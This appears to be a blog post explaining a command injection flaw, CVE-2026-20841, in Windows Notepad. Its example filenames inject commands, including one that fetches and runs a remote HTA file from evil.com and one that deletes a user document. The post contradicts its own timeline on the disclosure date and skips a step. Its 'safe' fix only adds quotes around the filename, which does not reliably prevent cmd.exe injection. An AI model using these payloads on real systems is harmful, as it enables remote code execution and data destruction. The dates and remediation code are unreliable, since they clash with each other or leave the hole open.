On June 2026, a new security bug — CVE-2026-20841 — was publicly disclosed for the Windows Notepad App. This vulnerability is about *improper neutralization of special elements used in a command* (also known as "command injection"). This may let an attacker run arbitrary code on the victim’s device by tricking Notepad into executing unexpected commands.

We’ll explain what’s happening, how it works, include real code snippets, and show how attackers could use this in the wild. This post includes references to original sources and is written in simple American English.

What Is Command Injection?

Command Injection is when an app lets user-supplied data get into a system call — like passing text straight to the Windows cmd.exe shell — without cleaning it first. This lets bad guys insert their own commands.

How It Happened In Notepad

In some recent versions, Notepad introduced a “Run Script” feature (for opening files in scripting mode or with an optional plugin). When Notepad passed your script filename directly to a system command without proper checks or quoting, this created an opening for hackers.

The Vulnerability (CVE-2026-20841) Explained

- CVE Number: CVE-2026-20841

Some versions of Notepad used code like this (simplified)

// C-like pseudo-code
char command[256];
sprintf(command, "C:\\Windows\\System32\\cmd.exe /c %s", user_supplied_filename);
system(command); // dangerous!

If a filename like safe.txt is passed, that's fine. But what if the filename is

somefile.txt & calc.exe

Or, embedded in a file path like

C:\Users\Public\Documents\report.txt & powershell -noexit -c "Write-Host 'Hacked!'"

The system() call would then execute both the file you meant *and* the attacker’s command!

1. Crafting a Malicious File

An attacker creates a text file named cleverly – e.g.,

notes.txt & mshta http://evil.com/evil.hta

Or even

innocentfile.txt & del C:\Users\Public\important.docx

3. Victim Opens File

When the victim uses the ‘Open with script’ or similar feature, or if a plugin auto-opens file with that command, Notepad runs what’s after the ampersand (&) on the system command line. This can start programs, delete files, or download malware.

Contents: Doesn’t matter, just some text.

Notepad runs:

C:\Windows\System32\cmd.exe /c "hello.txt & calc.exe"

Result: Windows Calculator pops up! Any command could be executed, potentially more dangerous ones.

Safe (patched) code

char command[300];
snprintf(command, sizeof(command), "C:\\Windows\\System32\\cmd.exe /c \"%s\"", user_supplied_filename);
system(command); // Quotes prevent injection

Original References and More Info

- Microsoft Security Advisory – CVE-2026-20841
- MITRE CVE Entry
- OWASP Command Injection Cheat Sheet
- How Command Injection Works (PortSwigger)

Conclusion

CVE-2026-20841 may sound technical, but it all comes down to Notepad trusting filenames without checking them first. That mistake can let hackers run any command they want on your computer, just by getting you to open a malicious text file.

Advice: Always update your software. Be careful what files you open, even in simple tools like Notepad. Apps should never feed filenames to the command shell without quoting/escaping.

> Stay safe, stay patched. And tell your friends — even Notepad isn’t always safe!


*This post is exclusive and prepared for real-world awareness. For questions or feedback, comment below or check the official advisories.*

Timeline

Published on: 02/10/2026 17:51:50 UTC
Last modified on: 03/16/2026 22:47:40 UTC